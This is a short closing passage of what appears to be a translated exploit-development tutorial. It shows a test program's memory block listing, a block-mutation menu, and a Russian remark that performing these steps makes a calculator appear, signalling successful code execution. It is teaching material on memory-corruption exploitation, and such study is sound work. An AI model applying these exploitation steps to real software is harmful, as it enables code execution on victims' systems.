block 198: address = 0x0e580020; size = 1048528
block 199: address = 0x0e680020; size = 1048528
block 200: address = 0x0e780020; size = 1048528
block 201: address = 0x0e880020; size = 1048528
block 202: address = 0x0e980020; size = 1048528
----------------------

Index of block to mutate (-1 to exit): 0
1) Multiplier
2) LowerCaser
3) Exit
Your choice [1-3]: 1

Как только мы выполним последовательность этих действий, сразу же появится калькулятор!

© Translated by klaus (r0 Crew)